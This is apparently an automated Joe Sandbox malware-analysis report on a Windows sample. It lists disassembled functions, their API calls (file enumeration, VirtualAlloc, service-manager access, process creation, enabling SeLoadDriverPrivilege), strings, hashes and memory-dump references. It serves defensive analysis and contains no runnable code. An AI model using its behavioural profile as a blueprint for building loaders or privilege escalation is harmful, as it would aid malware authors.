CreateFileW.KERNELBASE(?,?,?,00000000,000A8C00,0100754F,00000000,000A8C00,?,00989680,?,?,00000000), ref: 00627EE5

Strings

Ou, xrefs: 00627E2A
fX, xrefs: 00627D84
DR, xrefs: 00627D9C

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: DR$Ou$fX
API String ID: 823142352-261343277
Opcode ID: 6f399132a2372e350f576e7c4786fffcb2916669fc8f79cce65356c6cd7a1c60
Instruction ID: 827df06a0e37ac508cc7b8534f8b59ac63518f69f1b3732b90be5af2ccb4fa76
Opcode Fuzzy Hash: 6f399132a2372e350f576e7c4786fffcb2916669fc8f79cce65356c6cd7a1c60
Instruction Fuzzy Hash: 3F819C71608B118FD768DF68A945A2BB6E6AB88704F40092DF185C7390DB78DE098F97

Function 006238B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,33A6B453,00000001,00000000), ref: 00623AC4
FindNextFileW.KERNELBASE(?,?,?,33A6B453,00000001,00000000), ref: 00623B1B
FindClose.KERNELBASE(?), ref: 00623B55

Strings

*LO, xrefs: 00623AA6
., xrefs: 0062390D

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: *LO$.
API String ID: 3541575487-2132576683
Opcode ID: 467f761bc53810abb769049f6c1a20c07bee4b0f25e078fb8a671ee60fa95854
Instruction ID: a5876668535299059cfd84c847b96f80b72b640265665db95b8abc0adc637c74
Opcode Fuzzy Hash: 467f761bc53810abb769049f6c1a20c07bee4b0f25e078fb8a671ee60fa95854
Instruction Fuzzy Hash: A951F3B1704A7147CB74AB74B941ABB72A79B94740F40482EF585CB381EB3DCE468F52

Function 006280D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,0100754F,00000000), ref: 00628218

Strings

m, xrefs: 00628100
DR, xrefs: 00628108
Ou, xrefs: 00628190

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: DR$Ou$m
API String ID: 823142352-902897619
Opcode ID: f0f6aacdb1b63d6fa72f53d5f7c7711a07e4749b5efcd7d7dcdf50ac1f07af14
Instruction ID: 6d75d4e34b8896605f38294700fad6d3f62429efb8c111dc0c84afcc4676c947
Opcode Fuzzy Hash: f0f6aacdb1b63d6fa72f53d5f7c7711a07e4749b5efcd7d7dcdf50ac1f07af14
Instruction Fuzzy Hash: BD61AD31A09B218FD754DF68EC49A6FB6E2ABD4714F00491DF49597390DBB8CA098F83

Function 00624F50 Relevance: 3.2, APIs: 2, Instructions: 249
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00020000,?,?,006287E4,?,33A6B453,?,?), ref: 00625174
RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,?,006287E4,?,33A6B453,?,?), ref: 006252D3

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: Heap$AllocateFree
String ID:
API String ID: 2488874121-0
Opcode ID: 462578a459719a7919daae5631e54795450d279dd156247d0313dda080ed231b
Instruction ID: bc16c294ba1ee583720b1ea23838b977cb47684a193a9cc711525d6e83c51ecf
Opcode Fuzzy Hash: 462578a459719a7919daae5631e54795450d279dd156247d0313dda080ed231b
Instruction Fuzzy Hash: 9F81C331B00F319BDB74ABB8AC95B6A72976FC8740F454829F942DB390EB749D014F86

Function 00623060 Relevance: 1.7, APIs: 1, Instructions: 166
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000220), ref: 006231CB

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2ddaaa236cbf3576daacb99f9e24a1692552b221a49b5fff132916cca5c80bb1
Instruction ID: 34c4c661f7ea78d071dbeb4409721411b275f273e8b8f35ff6e6d760207ffe7a
Opcode Fuzzy Hash: 2ddaaa236cbf3576daacb99f9e24a1692552b221a49b5fff132916cca5c80bb1
Instruction Fuzzy Hash: F051B631704B218BC758CF68A49456EB7E6ABD8340F104D2EF546CB350D738DE4A8F92

Function 00626D70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00626CD0: LoadLibraryW.KERNELBASE(00000000,?,33A6B453,00626F05,?,33A6B453,006268AC), ref: 00626D00

LoadLibraryW.KERNELBASE(00000000,?,33A6B453,006268AC), ref: 00626E87

Strings

;g+, xrefs: 00626E21
;g+, xrefs: 00626DF4

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ;g+$;g+
API String ID: 1029625771-3974242271
Opcode ID: ae91e0bc34fe958b74f79467ccc75a28ee9a55939b08e7434c7d7e9b44309b17
Instruction ID: b8e56a0264f89f1d084c96ab1037d6a4d953b9c644e8ffedc85886a4e250fbb8
Opcode Fuzzy Hash: ae91e0bc34fe958b74f79467ccc75a28ee9a55939b08e7434c7d7e9b44309b17
Instruction Fuzzy Hash: 4C31A130708DB887CA68BE3CF85567E25479F84350BA5593AF646CB390D938CC434F96

Function 00625C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 00625C4B

Strings

?*S, xrefs: 00625C38

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: ?*S
API String ID: 621844428-1645505001
Opcode ID: cafe375cd3ecb9db54b160d5434c68d03f9e6420cbc6a5c7f76c36b052040be9
Instruction ID: 8faae7015be3adbe397f07c30ef45df985508d43e8fa41075350922fd9952a19
Opcode Fuzzy Hash: cafe375cd3ecb9db54b160d5434c68d03f9e6420cbc6a5c7f76c36b052040be9
Instruction Fuzzy Hash: DBD0A720300E2043D2A467B0A401B1A12436BA0700F40841D7545CF385DF654D110B00

Function 0053002D Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,00530005), ref: 005300E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,00530005), ref: 00530111

Memory Dump Source

Source File: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: 4c712a71a5a9bba910b84f6a54dcac072b093b508741fb13f9c91ef1f39fd7cd
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: 4FD1F171A043068FDB14CF69CCA476ABBE0FF84318F18992DE895CB281E774E955CB91

Function 0041025B Relevance: 4.6, APIs: 3, Instructions: 58
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FF_MSGBANNER.LIBCMT ref: 00410274

Part of subcall function 00412A13: __NMSG_WRITE.LIBCMT ref: 00412A3A
Part of subcall function 00412A13: __NMSG_WRITE.LIBCMT ref: 00412A44

__NMSG_WRITE.LIBCMT ref: 0041027B

Part of subcall function 00412864: GetModuleFileNameW.KERNEL32(00000000,0041F722,00000104,00000001,00000000,?), ref: 00412900
Part of subcall function 00412864: __invoke_watson.LIBCMT ref: 00412929
Part of subcall function 00412864: _wcslen.LIBCMT ref: 0041292F
Part of subcall function 00412864: _wcslen.LIBCMT ref: 0041293C

Part of subcall function 0041257E: ___crtCorExitProcess.LIBCMT ref: 00412586
Part of subcall function 0041257E: ExitProcess.KERNEL32 ref: 0041258F

Part of subcall function 00411E2C: __getptd_noexit.LIBCMT ref: 00411E2C

RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00413CED,?,00000001,?,?,004147E0,00000018,0041BE58,0000000C,00414870), ref: 004102A0

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: ExitProcess_wcslen$AllocateFileHeapModuleName___crt__getptd_noexit__invoke_watson
String ID:
API String ID: 4285633346-0
Opcode ID: 85379f81ff0939ec83c584100c10549c30d19fa7ca46aaa6a850a0ef7457cf0a
Instruction ID: 7e8d332be424b32aeb7339ed39cdb599a77868d368d5d78e5393627917a903ca
Opcode Fuzzy Hash: 85379f81ff0939ec83c584100c10549c30d19fa7ca46aaa6a850a0ef7457cf0a
Instruction Fuzzy Hash: 7401B535244301AAE22177B6BC56BEB3748AF81378F20007BF505962E1DAFC8CD5826D

Function 00629530 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,33A6B453,?,?), ref: 006297A0

Strings

y7@+, xrefs: 006297DF

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID: y7@+
API String ID: 1889721586-1251112282
Opcode ID: 4ce99583d2f2c2dc0d016b40959b7331746ba0511e6e6d4d333f878ed23285b2
Instruction ID: 59b8b872dcc7a2af961d2c038976abf1e5f658faa588d0c04593fb1fe1329420
Opcode Fuzzy Hash: 4ce99583d2f2c2dc0d016b40959b7331746ba0511e6e6d4d333f878ed23285b2
Instruction Fuzzy Hash: 2271A270704B218BD7689F28B84976A72A7ABC4B00F54082DF545DB391EB34DD0ACFA6

Function 00624A80 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 00624B01

Strings

D, xrefs: 00624AC0

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: a42607cc8b33b7252d899052706525ef82f2460d5ec7d6ad20f6892b65024da2
Instruction ID: 54ae8417c099a1fde11f7696b65ff98a248981107a5886a161c96654188c4805
Opcode Fuzzy Hash: a42607cc8b33b7252d899052706525ef82f2460d5ec7d6ad20f6892b65024da2
Instruction Fuzzy Hash: 6621B130B10B615BE764AB68AC02BAB7397AFC4700F44043DBA95CB390EF79C9158B56

Function 0040EC40 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 42
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0040EC7E

Strings

tGeKa2B%k9F<3!6T*a>U%*s(fc>&tKC@3cQGhibVLni4I3u>F, xrefs: 0040EC93

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: AllocVirtual
String ID: tGeKa2B%k9F<3!6T*a>U%*s(fc>&tKC@3cQGhibVLni4I3u>F
API String ID: 4275171209-1198268820
Opcode ID: 3b538efd8d0877daca6c9ed735cc7399334d432909fa35e9c6d7cd521d04529b
Instruction ID: 01d0f4e730c09718d0011088008fc3b8b73f4a900f8981e618274441f709c89d
Opcode Fuzzy Hash: 3b538efd8d0877daca6c9ed735cc7399334d432909fa35e9c6d7cd521d04529b
Instruction Fuzzy Hash: 9EF046B5A846203BF22157258C0AFAF7E68CB84B50F544528FE046A2C0D7B89A0182DE

Function 00641D10 Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1675098007.0000000000641000.00000020.00001000.00020000.00000000.sdmp, Offset: 00641000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_641000_ExeFile (317).jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ece59c011ca11995fc0df33a7473c5c895a4a35bc7471c8a6166e7c8cca55fcb
Instruction ID: b2d4bf2510f933dcf61f736c4fce1706543164e6704fc9e08ed85d02a0be7b8d
Opcode Fuzzy Hash: ece59c011ca11995fc0df33a7473c5c895a4a35bc7471c8a6166e7c8cca55fcb
Instruction Fuzzy Hash: F0419178A00209AFDB04DF54C494BAAB7B2FF89314F24C199E8199F355C775EE82CB80

Function 00623670 Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00623737

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: d3272fc551dc7d130d8fd5f583c4763973df626183d0495629ae6b99bd7f17ee
Instruction ID: 8d6103b6d68024db7397314e677aed85ba09bbcfb8db6d9b539e4437aa6b829e
Opcode Fuzzy Hash: d3272fc551dc7d130d8fd5f583c4763973df626183d0495629ae6b99bd7f17ee
Instruction Fuzzy Hash: 6011B670700A3057D7B4AB74AD01A6B35D75FC8700B40483DB505CB380EF39DE068B55

Function 00626CD0 Relevance: 1.5, APIs: 1, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,33A6B453,00626F05,?,33A6B453,006268AC), ref: 00626D00

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 450cafeed3f7790ea423e706b33a445b0a79b66101ac3bd34d3185fcf5d49d39
Instruction ID: 7fc590bc83a7b7bd04c8a2960272f91224950998ccfb0413716ba9f193f04048
Opcode Fuzzy Hash: 450cafeed3f7790ea423e706b33a445b0a79b66101ac3bd34d3185fcf5d49d39
Instruction Fuzzy Hash: CC01FB30B00A704BD7A4BB79B851A6B26E7AFC9640741983EB519CB391EB38DD034F95

Function 006427B0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 006427D9

Memory Dump Source

Source File: 00000000.00000002.1675098007.0000000000641000.00000020.00001000.00020000.00000000.sdmp, Offset: 00641000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_641000_ExeFile (317).jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 3ccb25bdfbbdd56fe5ed32ee7568d6054895871f3093967865143c9235f5bcc1
Instruction ID: 5634ac93abdc679df3541af8bcd05828c19d3c33ac36558fe1e5ee5ffa0663e7
Opcode Fuzzy Hash: 3ccb25bdfbbdd56fe5ed32ee7568d6054895871f3093967865143c9235f5bcc1
Instruction Fuzzy Hash: 81D05EB4D00208FFD740EFE4E906B9CBBB5EB05B05F108168E9045B380EA701B04CB52

Function 00641820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 0064182F

Memory Dump Source

Source File: 00000000.00000002.1675098007.0000000000641000.00000020.00001000.00020000.00000000.sdmp, Offset: 00641000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_641000_ExeFile (317).jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 1be060b9b16f4b001732891f65b776588a1f1ea4ade28fd56a88c15a5c284ddb
Instruction ID: b69d416ed3238aec631d2b8d1dbe4645c735ea8a57f333ac246c8aa2308346b9
Opcode Fuzzy Hash: 1be060b9b16f4b001732891f65b776588a1f1ea4ade28fd56a88c15a5c284ddb
Instruction Fuzzy Hash: 16C04C7A11420CAB8B04DF98EC84DAB37BDBB8DA14B048508BA1D87200C630F9108BA4

Non-executed Functions

Function 0040F510 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 155processCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 0040F53E
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F548
Process32FirstW.KERNEL32(00000000,?), ref: 0040F58B
CloseHandle.KERNEL32(00000000), ref: 0040F5A2

Part of subcall function 0040E170: GetLastError.KERNEL32 ref: 0040E18D
Part of subcall function 0040E170: FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

Strings

%d K, xrefs: 0040F6E7
Process32First, xrefs: 0040F594
CreateToolhelp32Snapshot (of processes), xrefs: 0040F558
, xrefs: 0040F5F7

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: CloseCreateErrorFirstFormatHandleLastMessageNameProcess32SnapshotToolhelp32User
String ID: $%d K$CreateToolhelp32Snapshot (of processes)$Process32First
API String ID: 3266005361-2221559773
Opcode ID: 5abc778807c62ae2baa570d19bc32579730fa3d8dd42b44df11fc9701d9f20bb
Instruction ID: 63f366d3fdf1a23c1a20b758398628cdb4654b08413e4f9ed28baa702ff12125
Opcode Fuzzy Hash: 5abc778807c62ae2baa570d19bc32579730fa3d8dd42b44df11fc9701d9f20bb
Instruction Fuzzy Hash: 6251B671504300ABD324AB64DC52FEB73E8EF84758F44493EF589922C1EB7C9948879B

Function 0040E220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0040E22E
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 0040E23B
LookupPrivilegeValueW.ADVAPI32(00000000,SeLoadDriverPrivilege,?), ref: 0040E24D
AdjustTokenPrivileges.ADVAPI32 ref: 0040E28B

Strings

SeLoadDriverPrivilege, xrefs: 0040E246

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeLoadDriverPrivilege
API String ID: 2349140579-497486668
Opcode ID: cffa3139d4f1966d0e1b8d4b561fce07a712f7e5228b86654aafc6df663748c5
Instruction ID: 6ea790c7a31b1ba1ad77907437152988263291b3601ce40a83fb03ebe5ecb5a6
Opcode Fuzzy Hash: cffa3139d4f1966d0e1b8d4b561fce07a712f7e5228b86654aafc6df663748c5
Instruction Fuzzy Hash: D301DAB4548301AFD704DF50C999F9BBBE4AB8CB08F40891DF58A862A0E774E948CB56

Function 004100FB Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041212A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041213F
UnhandledExceptionFilter.KERNEL32(0041989C), ref: 0041214A
GetCurrentProcess.KERNEL32(C0000409), ref: 00412166
TerminateProcess.KERNEL32(00000000), ref: 0041216D

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 6f2c9a2ca4667ff0c482e712aad0c8141d9414460f1110707eeb279986343969
Instruction ID: b5dc470c48336d2cad9fc5f7ad5caf64c585ac90b15cfe1187e4ee1c5b5d9eed
Opcode Fuzzy Hash: 6f2c9a2ca4667ff0c482e712aad0c8141d9414460f1110707eeb279986343969
Instruction Fuzzy Hash: 8C21DBB4911204EFD700DF69EC896C63BB4BB6C315F50803AE90A87372E7B4598A8F1D

Function 0040E170 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0040E18D
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

Strings

WARNING: %s failed with error %d (%s), xrefs: 0040E1F4

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID: WARNING: %s failed with error %d (%s)
API String ID: 3479602957-1953342023
Opcode ID: b598ef8f7daf12207a35918aebcbaa5f324a21470e7471301164a79c2446e67a
Instruction ID: 71bfe3ff1a5da696a3addf6ac62f14f1fc4c04e671a446e7e169288bb51f98c2
Opcode Fuzzy Hash: b598ef8f7daf12207a35918aebcbaa5f324a21470e7471301164a79c2446e67a
Instruction Fuzzy Hash: 1201267160430066E7249B12DC86BFB3BA9EF8A710F504C3AF555CA1D0E6749890C29E

Function 006263F0 Relevance: 4.3, Strings: 3, Instructions: 560COMMON

Download Yara Rule

Strings

*', xrefs: 0062665D
lmu/, xrefs: 00626C24
lmu/, xrefs: 00626B42

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID: *'$lmu/$lmu/
API String ID: 0-636906075
Opcode ID: a036e19197d29742138cca9643427d8cacee7da868df3eee7603cf6f7ed43bf0
Instruction ID: 37d2afa22f23e2c28bc1b32c51d9b3e09740e8fe98a5bd84f9bf39f086aef5f7
Opcode Fuzzy Hash: a036e19197d29742138cca9643427d8cacee7da868df3eee7603cf6f7ed43bf0
Instruction Fuzzy Hash: 10022431A04F718BC664EA68F88556E76D39BD0748F64882EF882C7391EE34CD464F97

Function 005398FE Relevance: 4.0, Strings: 3, Instructions: 219COMMON

Download Yara Rule

Strings

Ou, xrefs: 005399C8
DR, xrefs: 0053993A
fX, xrefs: 00539922

Memory Dump Source

